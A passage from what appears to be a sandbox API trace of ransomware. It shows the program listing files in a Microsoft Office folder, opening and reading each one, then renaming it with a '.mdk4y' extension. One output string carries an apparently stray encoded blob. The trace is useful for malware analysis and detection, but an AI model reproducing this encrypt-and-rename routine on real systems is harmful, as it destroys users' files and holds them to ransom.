office\\office14\\1033\\pubspapr\\pdir8f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir8f.gif.mdk4y")) returned 1 [0198.380] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0198.380] AreFileApisANSI () returned 1 [0198.380] GetACP () returned 0x4e4 [0198.380] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PDIR9B.GIF", cchWideChar=10, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PDIR9B.GIF", lpUsedDefaultChar=0x37dec0) returned 10 [0198.380] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir9b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0198.380] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827361000000) returned 1 [0198.380] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x445d, lpOverlapped=0x0) returned 1 [0198.409] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827363900000) returned 1 [0198.409] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827363900000) returned 1 [0198.409] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir9b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9B.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir9b.gif.mdk4y")) returned 1 [0198.411] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0198.411] AreFileApisANSI () returned 1 [0198.411] GetACP () returned 0x4e4 [0198.411] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PDIR9F.GIF", cchWideChar=10, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PDIR9F.GIF", lpUsedDefaultChar=0x37dec0) returned 10 [0198.411] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir9f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0198.412] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827364200000) returned 1 [0198.412] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x5aec, lpOverlapped=0x0) returned 1 [0198.429] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827365900000) returned 1 [0198.429] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827365900000) returned 1 [0198.429] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir9f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir9f.gif.mdk4y")) returned 1 [0198.431] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0198.431] AreFileApisANSI () returned 1 [0198.431] GetACP () returned 0x4e4 [0198.431] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ZPAPERS.INI", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ZPAPERS.INI", lpUsedDefaultChar=0x37dec0) returned 11 [0198.431] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPAPERS.INI" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpapers.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0198.432] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827366200000) returned 1 [0198.432] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x189e, lpOverlapped=0x0) returned 1 [0198.442] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827367200000) returned 1 [0198.442] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827367200000) returned 1 [0198.443] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPAPERS.INI" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpapers.ini"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPAPERS.INI.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpapers.ini.mdk4y")) returned 1 [0198.445] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0198.445] AreFileApisANSI () returned 1 [0198.445] GetACP () returned 0x4e4 [0198.445] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ZPDIR00.GIF", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ZPDIR00.GIF", lpUsedDefaultChar=0x37dec0) returned 11 [0198.445] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR00.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir00.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0198.445] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827367500000) returned 1 [0198.445] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x29, lpOverlapped=0x0) returned 1 [0198.446] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827367600000) returned 1 [0198.446] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827367600000) returned 1 [0198.446] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR00.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir00.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR00.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir00.gif.mdk4y")) returned 1 [0198.447] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0198.447] AreFileApisANSI () returned 1 [0198.447] GetACP () returned 0x4e4 [0198.447] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ZPDIR10F.GIF", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ZPDIR10F.GIFfTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37dec0) returned 12 [0198.447] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR10F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir10f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0198.448] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827367800000) returned 1 [0198.448] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x13ad, lpOverlapped=0x0) returned 1 [0198.455] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827368500000) returned 1 [0198.455] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827368500000) returned 1 [0198.455] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR10F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir10f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR10F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir10f.gif.mdk4y")) returned 1 [0198.458] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0198.458] AreFileApisANSI () returned 1 [0198.458] GetACP () returned 0x4e4 [0198.458] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ZPDIR11F.GIF", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ZPDIR11F.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0198.458] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR11F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir11f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0198.458] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827368800000) returned 1 [0198.458] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1706, lpOverlapped=0x0) returned 1 [0198.526] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827375600000) returned 1 [0198.526] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827375600000) returned 1 [0198.526] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR11F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir11f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR11F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir11f.gif.mdk4y")) returned 1 [0198.527] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0198.528] AreFileApisANSI () returned 1 [0198.528] GetACP () returned 0x4e4 [0198.528] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ZPDIR12F.GIF", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ZPDIR12F.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0198.528] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR12F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir12f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0198.529] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827375900000) returned 1 [0198.529] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x6499, lpOverlapped=0x0) returned 1 [0198.561] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827379100000) returned 1 [0198.561] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827379100000) returned 1 [0198.562] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR12F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir12f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR12F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir12f.gif.mdk4y")) returned 1 [0198.563] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0198.563] AreFileApisANSI () returned 1 [0198.563] GetACP () returned 0x4e4 [0198.563] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ZPDIR13F.GIF", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ZPDIR13F.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0198.563] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR13F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir13f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0198.564] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827379400000) returned 1 [0198.564] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x3ce8, lpOverlapped=0x0) returned 1 [0198.565] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827379500000) returned 1 [0198.565] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827379500000) returned 1 [0198.565] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR13F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir13f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR13F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir13f.gif.mdk4y")) returned 1 [0198.566] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0198.566] AreFileApisANSI () returned 1 [0198.566] GetACP () returned 0x4e4 [0198.566] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ZPDIR14F.GIF", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ZPDIR14F.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0198.566] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR14F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir14f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0198.567] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827379700000) returned 1 [0198.567] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x645b, lpOverlapped=0x0) returned 1 [0198.657] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827388700000) returned 1 [0198.657] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827388700000) returned 1 [0198.658] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR14F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir14f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR14F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir14f.gif.mdk4y")) returned 1 [0198.659] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0198.659] AreFileApisANSI () returned 1 [0198.659] GetACP () returned 0x4e4 [0198.659] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ZPDIR15F.GIF", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ZPDIR15F.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0198.659] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR15F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir15f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0198.660] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827389200000) returned 1 [0198.662] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x452b, lpOverlapped=0x0) returned 1 [0198.664] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827389400000) returned 1 [0198.664] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827389400000) returned 1 [0198.664] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR15F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir15f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR15F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir15f.gif.mdk4y")) returned 1 [0198.665] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0198.665] AreFileApisANSI () returned 1 [0198.665] GetACP () returned 0x4e4 [0198.665] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ZPDIR16F.GIF", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ZPDIR16F.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0198.665] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR16F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir16f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0198.666] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827389600000) returned 1 [0198.666] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x2fc1, lpOverlapped=0x0) returned 1 [0198.667] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827389700000) returned 1 [0198.667] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827389700000) returned 1 [0198.667] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR16F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir16f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR16F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir16f.gif.mdk4y")) returned 1 [0198.668] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0198.668] AreFileApisANSI () returned 1 [0198.668] GetACP () returned 0x4e4 [0198.668] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ZPDIR17F.GIF", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ZPDIR17F.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0198.668] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR17F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir17f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0198.669] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827389900000) returned 1 [0198.669] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x34cf, lpOverlapped=0x0) returned 1 [0198.670] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827390000000) returned 1 [0198.670] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827390000000) returned 1 [0198.670] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR17F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir17f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR17F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir17f.gif.mdk4y")) returned 1 [0198.671] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0198.671] AreFileApisANSI () returned 1 [0198.671] GetACP () returned 0x4e4 [0198.671] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ZPDIR18F.GIF", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ZPDIR18F.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0198.671] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR18F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir18f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0198.672] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827390200000) returned 1 [0198.672] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x4be9, lpOverlapped=0x0) returned 1 [0198.752] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827398200000) returned 1 [0198.752] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827398200000) returned 1 [0198.752] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR18F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir18f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR18F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir18f.gif.mdk4y")) returned 1 [0198.754] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0198.754] AreFileApisANSI () returned 1 [0198.754] GetACP () returned 0x4e4 [0198.755] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ZPDIR19F.GIF", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ZPDIR19F.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0198.755] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR19F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir19f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0198.755] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827398500000) returned 1 [0198.756] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, 